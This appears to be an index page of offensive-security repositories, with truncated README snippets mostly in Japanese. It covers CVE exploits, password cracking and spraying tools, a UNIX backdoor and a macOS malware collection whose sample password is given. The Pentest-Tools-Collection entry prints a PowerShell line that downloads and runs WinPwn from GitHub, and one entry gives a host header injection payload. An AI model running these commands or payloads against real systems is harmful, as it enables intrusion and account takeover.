Password-Analysis

Password Analysis: Based on Entropy and Dictionaries of Weak Passwords Script in Go that analyzes a list of passwords. Download and Compilation You can download the binary directly from the releases. If you prefer to compile it manually, consider the following steps. git clone...

CVE-2023-7028

CVE-2023-7028 ⚠️ このエクスプロイトは防御目的であり、潜在的に脆弱なGitLabサーバーを特定するためにサイバーセキュリティ専門家が使用すべきものです。 説明 CVE-2023-7028 - パスワードリセットによるアカウント奪取（ユーザーの操作不要）GitLab Community Edition および Enterprise Edition 影響を受ける製品とバージョン: 製品| 影響を受けるバージョン ---|--- GitLab Community Edition および Enterprise Edition| 16.1.6 16.2.9 16.3.7 16.4.5...

zerologon-CVE-2020-1472

CVE-2020-1472 - Zero-Logon POC このエクスプロイトには、GitHub の最新の impacket を使用する必要があります。 impacket のインストールは、netlogon 構造が追加された状態で行ってください。 注意: 1. デフォルトでは、エクスプロイトが成功すると、DC アカウントのパスワードが変更されます。 2. DCSync が可能になります。 3. 他のドメインコントローラとの通信が切断されます（注意してください！） 元の研究および情報はこちら インストール Python 3.7 以上と Pip...

thc-hydra

H Y D R A c 2001-2023 by van Hauser / THC https://github.com/vanhauser-thc/thc-hydra Many modules were written by David dot Maciejak @ gmail dot com BFG code by Jan Dlabal Licensed under AGPLv3 see LICENSE file 軍事機関や秘密情報機関、または違法な目的で使用しないでください。 （これは作者の希望であり、拘束力はありません。これらの組織で働く多くの人々はそもそも法律や倫理を気にしませ...

CVE-2023-39144

CVE-2023-39144 背景 この脆弱性は2023年5月に発見しました。Element55は法律事務所向けに時間追跡ソフトウェアを提供しています。このソフトウェアは、Exchange、SQL、Shoretelなど、様々な場所から情報を取得します。 タイムライン 2023年5月24日 - Element55に脆弱性を報告 2023年5月25日 - Element55が脆弱性を確認し、バージョン22の一部として修正すると回答（プロフェッショナルで素晴らしい対応でした） 2023年7月24日 - Element55に修正が完了したことを確認 脆弱性の説明 Element55...

CVE-2022-24181

CVE-2022-24181 および CVE-2022-26616。おそらく同じものです。 Open-journal-system-Vulnerability XSS（Host Headerインジェクション経由）と他ユーザーのパスワードリセットトークンの奪取 再現手順: 1. このサイトにアクセス: https://who's-using-ojs-software.com 2. Burpでこのリクエストをキャプチャし、Repeaterに送信。 3. Host Headerの後に以下を追加: X-Forwarded-Host: foo"x=".com 4...

ResetNightmare

ResetNightmare ResetNightmare CVE-2026-27912 の Proof-of-concept POC ツールです。 ResetNightmare は、Kerberos Change Password プロトコルにおける検証の欠陥であり、現在のパスワードを知らなくても、任意のターゲットユーザー/コンピュータアカウントのパスワードをリセットできるようにするものです。 この攻撃には、パッチ未適用のドメインコントローラと、自分が制御する任意のアカウントに userPrincipalName UPN を書き込む権限が必要です。 あるいは、任意の OU...

pcileech

PCILeech Summary: PCILeech uses PCIe hardware devices to read and write target system memory. This is achieved by using DMA over PCIe. No drivers are needed on the target system. PCILeech also works without hardware together with a wide range of software memory acqusition methods supported by the...

Pentest-Tools-Collection

ペンテストツールコレクション Active Directory AMSI https://amsi.fail/ ツールコレクション WinPwn https://github.com/S3cur3Th1sSh1t/WinPwn Import-Module .\WinPwn.ps1 iexnew-object net.webclient.downloadstring'https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1' Ghostpack https://github.com/GhostPack...

Pentest-Collaboration-Framework

Pentest Collaboration Framework Pentest Collaboration Framework - an opensource, cross-platform and portable toolkit for automating routine processes when carrying out various works for testing! Explore the docs » ‼️ Important Links Links | ---|--- 📖Installation Guide | 🌐Wiki 🚀Releases 💬Telegram...

weakpass

Weakpass Here, you can find the list of tools and example of API server from weakpass.com for password and hash cracking in one place. 📂 Folder Structure tools A collection of password and hash cracking tools. Check them out: Kraker-js Lookup Passcheck Passgen libs Links to the libraries used in...

weakpass

Weakpass ここでは、weakpass.com からツールのリストとAPIサーバーの例を一か所にまとめ、パスワードとハッシュのクラックのための情報を提供します。 📂 フォルダ構成 tools パスワードおよびハッシュクラックツールのコレクション。ぜひ試してみてください： Kraker-js Lookup Passcheck Passgen libs このプロジェクトで使用されているライブラリへのリンク。 rules 高度な攻撃のためのクラックルールのアーカイブ。 すべてのツールとライブラリは各フォルダにあります。すぐに試したい方向けの簡単な概要は以下の通りです。 🚀 ツール概要...

CVE-2025-22381

CVE-2025-22381: Aggie における Host Header インジェクション CVE-2025-22381 の詳細な分析と Proof-of-Concept。Aggie オープンソースプロジェクトで発見された Host Header インジェクションの脆弱性です。 脆弱性の概要+ CVE ID: CVE-2025-22381 公開: 2025年10月（MITRE による割り当て） 一般公開: 2026年2月 報告者: Anas Abderrahman Benbarek 発見日: 2025年9月17日 影響を受けるプロジェクト: TID-Lab/aggie...

restic

はじめに restic は、高速で効率的かつ安全なバックアッププログラムです。Linux、macOS、Windows の主要 3 つのオペレーティングシステムと、FreeBSD、OpenBSD などのいくつかの小規模な OS に対応しています。 詳細な使い方やインストール手順については、ドキュメント を参照してください。 質問は Discourse フォーラム で受け付けています。 クイックスタート restic をインストールしたら、まずバックアップ用のリポジトリを作成します。 $ restic init --repo /tmp/backup enter password for ne...

tsh-sctp

Tiny SHell - オープンソースのUNIXバックドア Tiny SHell をコンパイルする前に 1. まず最初に、tsh.h 内にあるシークレットキーを設定してください。 キーは任意の長さにできます（安全性を高めるには、少なくとも12文字を使用してください）。 2. SERVERPORT（サーバーが着信接続を待ち受けるポート）を変更することを お勧めします。 3. ファイアウォールで保護されたマシン上で実行する場合は、tshd を "connect-back" モードで起動したいと思うかもしれません。その場合は、 tsh.h 内の CONNECTBACKHOST...

keeweb

パスワードマネージャー KeeWeb パスワードマネージャー🔑 KeeWeb は、既存の KeePass データベース kdbx ファイルを開いたり、重要な認証情報を保存するための新しいボールトを作成できるブラウザおよびデスクトップ向けのパスワードマネージャーです。 !Versiongithub-version-imggithub-version-uri !Testsgithub-tests-imggithub-tests-uri !Downloadsgithub-downloads-imggithub-downloads-uri...

crestron_getsudopwd

crestrongetsudopwd Ricky Lawshae による Crestron TSW-X60 および MC3 デバイスでの発見に基づき、このツールは CVE-2018-13341 を悪用することを目的としています。対象デバイスの MAC アドレスを使用して、昇格された特権を持ち SUDO コマンドを実行できる "crengsuperuser" 非表示アカウントのパスワードを復元できます。 説明 Crestron TSW-X60 estat The EST command has been made obsolete. Please use IPCONFIG instead...

Kaonashi

Kaonashi Project: RootedCON 2019 This repository contains several directories: Sorted Masks for hashcat Advanced Rules for hashcat Links to download the Kaonishi's Wordlists Slides used in our talk I know your p4$$w0rd and if I don't, I will guess it... at RootedCON 2019 A clone may not be...

o365spray

o365spray o365spray is a username enumeration and password spraying tool aimed at Microsoft Office 365 O365. This tool reimplements a collection of enumeration and spray techniques researched and identified by those mentioned in Acknowledgments. For educational, authorized and/or research purpose...

Malware

マルウェア macOS マルウェアコレクション ⚠️ このページには実在するマルウェアへのリンクが含まれています! このサイトからマルウェアをダウンロードした時点で、誤った取り扱いや自己感染によって生じるいかなる損害賠償請求権も放棄することになります。 📡 サンプルを実行すると、攻撃者が管理するインフラ（例：コマンド&コントロールサーバー）への接続が発生する可能性があります。 🔐 サンプルはパスワードで保護されています。 すべてのサンプルのパスワードは: infect3d 📚 Macマルウェアについてもっと学びたいですか? 私たちの無料 "The Art of Mac Malware"...